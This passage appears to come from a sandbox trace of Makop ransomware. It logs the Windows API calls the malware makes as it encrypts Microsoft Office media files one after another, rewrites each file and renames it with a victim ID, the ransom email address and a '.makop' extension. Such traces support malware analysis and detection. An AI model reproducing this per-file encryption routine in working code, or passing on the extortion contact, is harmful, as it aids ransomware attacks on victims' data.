lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0163.199] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.199] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.199] GetProcessHeap () returned 0x48a0000 [0163.199] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.199] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.199] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.199] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.199] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.199] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.200] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.200] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.200] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.200] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.200] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.200] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2dc4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2dc4, lpOverlapped=0x0) returned 1 [0163.202] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2dd0, dwBufLen=0x2dd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2dd0) returned 1 [0163.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2dd0, lpOverlapped=0x0) returned 1 [0163.202] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.203] SetEndOfFile (hFile=0xf0) returned 1 [0163.210] GetProcessHeap () returned 0x48a0000 [0163.210] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.210] GetProcessHeap () returned 0x48a0000 [0163.210] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.210] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.212] CloseHandle (hObject=0xf0) returned 1 [0163.212] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0163.212] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF") returned 61 [0163.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.213] GetProcessHeap () returned 0x48a0000 [0163.213] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.213] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.213] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.213] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0163.217] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.217] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.218] GetProcessHeap () returned 0x48a0000 [0163.218] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.218] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.218] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.218] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.218] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.218] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.218] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.218] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.219] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.219] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.219] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.219] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.219] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1aea, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1aea, lpOverlapped=0x0) returned 1 [0163.221] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1af0, dwBufLen=0x1af0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1af0) returned 1 [0163.221] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.221] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1af0, lpOverlapped=0x0) returned 1 [0163.222] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.222] SetEndOfFile (hFile=0xf0) returned 1 [0163.228] GetProcessHeap () returned 0x48a0000 [0163.228] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.229] GetProcessHeap () returned 0x48a0000 [0163.229] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.229] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.230] CloseHandle (hObject=0xf0) returned 1 [0163.230] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0163.231] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF") returned 61 [0163.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.232] GetProcessHeap () returned 0x48a0000 [0163.232] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.232] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.232] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.237] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.237] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.237] GetProcessHeap () returned 0x48a0000 [0163.237] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.237] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.237] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.237] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.237] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.238] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.238] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.238] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.238] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.238] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.238] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3838, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3838, lpOverlapped=0x0) returned 1 [0163.241] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3840, dwBufLen=0x3840 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3840) returned 1 [0163.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.241] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3840, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3840, lpOverlapped=0x0) returned 1 [0163.241] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.241] SetEndOfFile (hFile=0xf0) returned 1 [0163.247] GetProcessHeap () returned 0x48a0000 [0163.247] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.248] GetProcessHeap () returned 0x48a0000 [0163.248] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.248] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.249] CloseHandle (hObject=0xf0) returned 1 [0163.249] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0163.249] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF") returned 61 [0163.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.252] GetProcessHeap () returned 0x48a0000 [0163.252] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.252] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.252] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.252] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0163.258] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.258] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.258] GetProcessHeap () returned 0x48a0000 [0163.258] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.258] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.258] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.259] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.259] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.259] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.259] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.259] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.259] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.259] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.260] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x78a, lpOverlapped=0x0) returned 1 [0163.260] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790, dwBufLen=0x790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790) returned 1 [0163.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.260] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x790, lpOverlapped=0x0) returned 1 [0163.260] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.260] SetEndOfFile (hFile=0xf0) returned 1 [0163.273] GetProcessHeap () returned 0x48a0000 [0163.273] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.274] GetProcessHeap () returned 0x48a0000 [0163.274] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.274] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.276] CloseHandle (hObject=0xf0) returned 1 [0163.276] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0163.276] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF") returned 61 [0163.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, 